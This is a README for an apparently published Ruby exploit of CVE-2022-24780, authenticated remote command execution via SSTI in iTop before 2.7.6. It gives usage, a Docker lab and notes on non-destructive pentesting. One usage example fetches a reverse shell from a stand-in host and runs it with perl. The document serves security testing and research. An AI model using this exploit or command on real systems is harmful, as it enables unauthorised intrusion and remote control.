acceis/exploit-cve-2022-24780iTop < 2.7.6 - (Authenticated) Remote command execution
iTop < 2.7.6 - (Authenticated) Remote command execution
Exploit for [CVE-2022-24780][CVE-2022-24780].
[EDB-TODO] [PacketStorm] [WLB-2022050075]
$ ruby exploit.rb -h
iTop < 2.7.6 - (Authenticated) Remote command execution
Usage:
exploit.rb full <url> <username> <password> <cmd> [--debug]
exploit.rb light <url> <username> <password> <cmd> [--debug]
exploit.rb -h | --help
full: exploit with an emulated browser, execute JavaScript, preserve original user profile information
light: just parse HTML and send requests, no JavaScript, (DESTRUCTIVE) reset user information: phone, location, function
Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<username> iTop portal username
<password> iTop portal user password
<cmd> Command to execute on the target
--debug Display arguments
-h, --help Show this screen
Examples:
exploit.rb full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'
exploit.rb light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'
The full flavor of the exploit is using Watir using a web browser driven by Selenium to emulate a user browsing. This is required to preserve user information. The exploit inject an SSTI payload in a sub-part of the form used to modify user information on the portal user profile. While some values can be hardcoded or retrieved from the HTML others (phone, location, function) are loaded dynamically via Javascript and injected into the HTML. So in order for the exploit to not be destructive, it's necessary to execute JavaScript to be able to retrieve those values.
The light flavor of the exploit is not caring that much and will just destructively set a null value to some user information fields (phone, location, function) instead. However this flavor is faster to execute, requires less dependencies, won't execute any JavaScript, and doesn't need a X environment (Watir does to run the web browser).
TL;DR: install all bundle install
Full flavor
Example using gem:
gem install httpx docopt watir webdrivers
Light flavor
Example using gem:
gem install httpx docopt nokogiri
It is not recommended to use payloads with double quotes (") nor backslashes (\) because the payload is injected into JSON.
Warning: this container is not suited for production usage!
Using vbkunin/itop:2.7.4 - source - docker hub
$ docker run -d -p 8000:80 --name=itop-CVE-2022-24780 vbkunin/itop:2.7.4
The vulnerability was found by Markus KRELL.
Analysis of the vulnerability by the discoverer:
ACCEIS does not promote or encourage any illegal activity, all content provided by this repository is meant for research, educational, and threat detection purpose only.
As a security auditor (or any other white hat role), on one hand you want to run an exploit script to verify the effective practical exploitability of the theoretical vulnerability based on the version number of the application you identified, but on the other hand you want it to be done properly without any destructive action so that the customer application is left in the same state as you first discovered it.
For example, this exploit occurs on the user profile page, so there is a form with information from the user that is already populated: first name, name, organization ID, email, phone, location ID, function, manager ID. For the attack to work, you just need to override the vulnerable fields and fill others with null values or random values if they are required. It is what the light flavor of the exploit is doing. But doing so you will destruct the actual information for that user, it's not problematic on a test environment however it is a real problem if you are on a production environnement. A black hat won't care about all that, but as a white hat we have to preserve the data. So the solution is to fetch the actual data and reuse it on our POST request.
On classical web applications, you often just have to directly craft a POST request with the right parameters targeting the vulnerable endpoint. Sometimes you need to handle session / cookies, redirections, some previous states that may be required, fetching some ID or anti-CSRF tokens but all of that remains very straightforward and can be achieved with pretty much all HTTP library in any language.
In order to retrieve the actual data, when the data in the form comes from:
It begins to be a little more touchy on some modern web applications where many values are set from complex JavaScript manipulations. Here you can't just parse HTML or request a REST API, you can't either retrieve the value from a JavaScript file directly or parse several lines and recompute a value. When the JS computation is so complex, happens in many different JS files or that the JavaScript source code is obfuscated or packed, it would requires way to many efforts and time to reverse engineer the mechanism and extract the value. In that case, you actually have to interact with the JavaScript from the application. But a classic exploit script just requiring a HTTP library can't do that (alone)!